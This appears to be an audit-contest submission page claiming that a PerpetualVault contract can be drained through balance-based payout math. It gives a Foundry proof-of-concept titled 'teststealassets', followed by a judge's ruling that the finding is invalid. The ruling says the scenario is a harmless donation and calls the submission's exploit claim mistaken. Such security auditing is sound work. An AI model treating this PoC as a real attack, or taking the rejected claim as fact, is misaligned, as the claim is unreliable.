Submission Details
Severity:
Drain of assets in the Vault due to miscalculated profit
Summary
when users withdraw funds, the DEX miscalculates the profit. This miscalculation allows an attacker, under specific circumstances, to steal a significant amount of funds. Through this, an attacker can generate massive profits solely by depositing and withdrawing funds, without engaging in any trades
Vulnerability Details
function _withdraw(uint256 depositId, bytes memory metadata, MarketPrices memory prices) internal {
uint256 shares = depositInfo[depositId].shares;
if (shares == 0) {
revert Error.ZeroValue();
}
if (positionIsClosed) {
_handleReturn(0, true, false);
} else if (_isLongOneLeverage(beenLong)) { // beenLong && leverage == BASIS_POINTS_DIVISOR
uint256 swapAmount = IERC20(indexToken).balanceOf(address(this)) * shares / totalShares;
nextAction.selector = NextActionSelector.SWAP_ACTION;
// abi.encode(swapAmount, swapDirection): if swap direction is true, swap collateralToken to indexToken
nextAction.data = abi.encode(swapAmount, false);
} else if (curPositionKey == bytes32(0)) { // vault liquidated
_handleReturn(0, true, false);
} else {
IVaultReader.PositionData memory positionData = vaultReader.getPositionInfo(curPositionKey, prices);
uint256 collateralDeltaAmount = positionData.collateralAmount * shares / totalShares;
uint256 sizeDeltaInUsd = positionData.sizeInUsd * shares / totalShares;
// we always charge the position fee of negative price impact case.
uint256 feeAmount = vaultReader.getPositionFeeUsd(market, sizeDeltaInUsd, false) / prices.shortTokenPrice.max;
int256 pnl = vaultReader.getPnl(curPositionKey, prices, sizeDeltaInUsd);
if (pnl < 0) {
collateralDeltaAmount = collateralDeltaAmount - feeAmount - uint256(-pnl) / prices.shortTokenPrice.max;
} else {
collateralDeltaAmount = collateralDeltaAmount - feeAmount;
}
uint256 acceptablePrice = abi.decode(metadata, (uint256));
_createDecreasePosition(collateralDeltaAmount, sizeDeltaInUsd, beenLong, acceptablePrice, prices);
}
}
// (...)
function _handleReturn(uint256 withdrawn, bool positionClosed, bool refundFee) internal {
(uint256 depositId) = flowData;
uint256 shares = depositInfo[depositId].shares;
uint256 amount;
if (positionClosed) {
amount = collateralToken.balanceOf(address(this)) * shares / totalShares; // <- vuln
} else {
uint256 balanceBeforeWithdrawal = collateralToken.balanceOf(address(this)) - withdrawn;
amount = withdrawn + balanceBeforeWithdrawal * shares / totalShares;
}
if (amount > 0) {
_transferToken(depositId, amount);
}
emit Burned(depositId, depositInfo[depositId].recipient, depositInfo[depositId].shares, amount);
_burn(depositId);
if (refundFee) {
uint256 usedFee = callbackGasLimit * tx.gasprice;
if (depositInfo[depositId].executionFee > usedFee) {
try IGmxProxy(gmxProxy).refundExecutionFee(depositInfo[counter].owner, depositInfo[counter].executionFee - usedFee) {} catch {}
}
}
// update global state
delete swapProgressData;
delete flowData;
delete flow;
}
function _transferToken(uint256 depositId, uint256 amount) internal {
uint256 fee;
if (amount > depositInfo[depositId].amount) {
fee = (amount - depositInfo[depositId].amount) * governanceFee / BASIS_POINTS_DIVISOR;
if (fee > 0) {
collateralToken.safeTransfer(treasury, fee);
}
}
try collateralToken.transfer(depositInfo[depositId].recipient, amount - fee) {}
catch {
collateralToken.transfer(treasury, amount - fee);
emit TokenTranferFailed(depositInfo[depositId].recipient, amount - fee);
}
totalDepositAmount -= depositInfo[depositId].amount;
emit GovernanceFeeCollected(address(collateralToken), fee);
}
After a deposit, if the user attempts to withdraw, the _withdraw() function is called, and if the position is closed, the _handleReturn() function is invoked. Within this function, the actual withdrawal occurs, and the profit calculation is done using the formula:
amount = collateralToken.balanceOf(address(this)) * shares / totalShares;
Here, it dynamically retrieves collateralToken.balanceOf(address(this)) to calucate the profi
Scenarios
user A deposits funds using the deposit() function and receives shares. Then, before user A withdraws their shares, if users B or C (or other individuals) send collateralToken tokens to the PerpetualVault, the value of collateralToken.balanceOf(address(this)) increases. Now, when user A withdraws after the collateralToken.balanceOf(address(this)) has increased due to someone else's actions, they will receive more funds than they originally deposited
PoC
// SPDX-License-Identifier: UNLICENSED
import {Test, console} from "forge-std/Test.sol";
import {console} from "forge-std/Script.sol";
import "forge-std/StdCheats.sol";
import {ArbitrumTest} from "./utils/ArbitrumTest.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import { PerpetualVault } from "../contracts/PerpetualVault.sol";
import { GmxProxy } from "../contracts/GmxProxy.sol";
import { VaultReader } from "../contracts/VaultReader.sol";
import { KeeperProxy } from "../contracts/KeeperProxy.sol";
import { MarketPrices, PriceProps } from "../contracts/libraries/StructData.sol";
import { MockData } from "./mock/MockData.sol";
import { Error } from "../contracts/libraries/Error.sol";
interface IExchangeRouter {
struct SimulatePricesParams {
address[] primaryTokens;
PriceProps[] primaryPrices;
uint256 minTimestamp;
uint256 maxTimestamp;
}
function simulateExecuteOrder(bytes32 key, SimulatePricesParams memory oracleParams) external;
}
interface IOrderHandler {
function executeOrder(
bytes32 key,
MockData.OracleSetPriceParams calldata oracleParams
) external;
}
interface IGmxUtils {
function setSlippage(uint256 _slippage) external;
}
/// @title PerpetualVaultTest
/// @notice Test suite for the PerpetualVault contract
/// @dev Uses Forge's standard library for testing Ethereum smart contracts
contract PerpetualVaultTest is Test, ArbitrumTest {
enum PROTOCOL {
DEX,
GMX
}
address payable vault;
address payable vault2x;
VaultReader reader;
MockData mockData;
event GmxPositionCallbackCalled(bytes32 requestKey, bool success);
/// @notice Sets up the test environment
/// @dev Deploys necessary contracts and initializes test data
function setUp() public {
address orderHandler = address(0xe68CAAACdf6439628DFD2fe624847602991A31eB);
// old address orderHandler = address(0xB0Fc2a48b873da40e7bc25658e5E6137616AC2Ee);
address liquidationHandler = address(0xdAb9bA9e3a301CCb353f18B4C8542BA2149E4010);
// old address liquidationHandler = address(0x08A902113F7F41a8658eBB1175f9c847bf4fB9D8);
address adlHandler = address(0x9242FbED25700e82aE26ae319BCf68E9C508451c);
// old address adlHandler = address(0x26BC03c944A4800299B4bdfB5EdCE314dD497511);
address gExchangeRouter = address(0x900173A66dbD345006C51fA35fA3aB760FcD843b);
// old address gExchangeRouter = address(0x69C527fC77291722b52649E45c838e41be8Bf5d5);
address gmxRouter = address(0x7452c558d45f8afC8c83dAe62C3f8A5BE19c71f6);
address dataStore = address(0xFD70de6b91282D8017aA4E741e9Ae325CAb992d8);
address orderVault = address(0x31eF83a530Fde1B38EE9A18093A333D8Bbbc40D5);
address gmxReader = address(0x0537C767cDAC0726c76Bb89e92904fe28fd02fE1);
// address gmxReader = address(0x5Ca84c34a381434786738735265b9f3FD814b824);
address referralStorage= address(0xe6fab3F0c7199b0d34d7FbE83394fc0e0D06e99d);
ProxyAdmin proxyAdmin = new ProxyAdmin();
GmxProxy gmxUtilsLogic = new GmxProxy();
bytes memory data = abi.encodeWithSelector(
GmxProxy.initialize.selector,
orderHandler,
liquidationHandler,
adlHandler,
gExchangeRouter,
gmxRouter,
dataStore,
orderVault,
gmxReader,
referralStorage
);
address gmxProxy = address(
new TransparentUpgradeableProxy(
address(gmxUtilsLogic),
address(proxyAdmin),
data
)
);
payable(gmxProxy).transfer(1 ether);
address keeper = makeAddr("keeper");
reader = new VaultReader(
orderHandler,
dataStore,
orderVault,
gmxReader,
referralStorage
);
PerpetualVault perpetualVault = new PerpetualVault();
data = abi.encodeWithSelector(
PerpetualVault.initialize.selector,
address(0x70d95587d40A2caf56bd97485aB3Eec10Bee6336), // ethUsdcMarket,
keeper,
makeAddr("treasury"),
gmxProxy,
reader,
1e8,
1e28,
10_000
);
vm.prank(address(this), address(this));
vault = payable(
new TransparentUpgradeableProxy(
address(perpetualVault),
address(proxyAdmin),
data
)
);
}
/// @notice Tests the withdrawal process
function teststealassets() external {
uint256 executionFee;
uint256 depositId;
bytes32 slot = bytes32(uint256(202));
address user1 = makeAddr("user1"); // no1 investor
address user2 = makeAddr("user2"); // no2 investor
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
deal(address(collateralToken), user1, 1000 ether);
deal(address(collateralToken), user2, 1000 ether);
console.log("no1. investor's balance before deposit : ", collateralToken.balanceOf(user1));
vm.startPrank(user1);
executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
collateralToken.approve(vault, 1000 ether);
PerpetualVault(vault).deposit{value: executionFee * tx.gasprice}(1000 ether);
depositId = uint256(vm.load(address(vault), slot));
console.log("no1. investor's balance after deposit : ", collateralToken.balanceOf(user1));
vm.stopPrank();
VaultRising(collateralToken, user2, vault);
vm.startPrank(user1);
uint256 lockTime = PerpetualVault(vault).lockTime();
vm.warp(block.timestamp + lockTime + 1);
executionFee = PerpetualVault(vault).getExecutionGasLimit(true);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(user1, depositId);
vm.stopPrank();
console.log("no1. investor's balance after ex : ", collateralToken.balanceOf(user1));
}
function VaultRising(IERC20 collateralToken, address user, address _vault) internal {
// Someone transfers tokens to the Vault directly
vm.startPrank(user);
collateralToken.transfer(address(PerpetualVault(_vault)), 1000 ether);
vm.stopPrank();
}
}
❯ forge test --mp test/PerpetualVault.t.sol --via-ir --rpc-url arbitrum -vvv
[⠊] Compiling...
[⠆] Compiling 1 files with Solc 0.8.28
[⠰] Solc 0.8.28 finished in 6.19s
Compiler run successful!
Ran 1 test for test/PerpetualVault.t.sol:PerpetualVaultTest
[PASS] teststealassets() (gas: 747296)
Logs:
no1. investor's balance before deposit : 1000000000000000000000
no1. investor's balance after deposit : 0
no1. investor's balance after ex : 1950000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.60ms (1.10ms CPU time)
Ran 1 test suite in 312.24ms (3.60ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
User A deposits funds into the PerpetualVault and receives shares
User B simply transfers collateralToken to the PerpetualVault (increasing the value of
collateralToken.balanceOf(address(this)))When User A withdraws their funds, the increased value of
collateralToken.balanceOf(address(this))causes User A to profit solely from the deposit-withdrawal process
Updates
Lead Judging Commences
n0kto 7 months ago
Submission Judgement Published Reason: Non-acceptable severity
Assigned finding tags:
invalid_collateral_balanceOf_donation
Prevent tokens from getting stuck. This is a simple donation to every shareholder, and therefore, every share has more value (profit), leading to fewer shares for future users. If this is not intended by the user, it is merely a mistake! For totalAmountBefore > amount * totalShares, Here is the worst-case scenario (with the minimum amount): first deposit 0.001000 (e4) USDC → 1e12 shares. Second deposit: 0.001 (e4) USDC * 1e12 / 0.001 (e4) USDC. So, the attacker would need to donate 1e16 tokens, meaning 1e10 USDC → 10 billion $. Even in the worst case, it's informational.
Prize pool breakdown
Total prize
50,000 USDC
nSLOC
1,91026 USDC / LOC
47,500
2,500
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.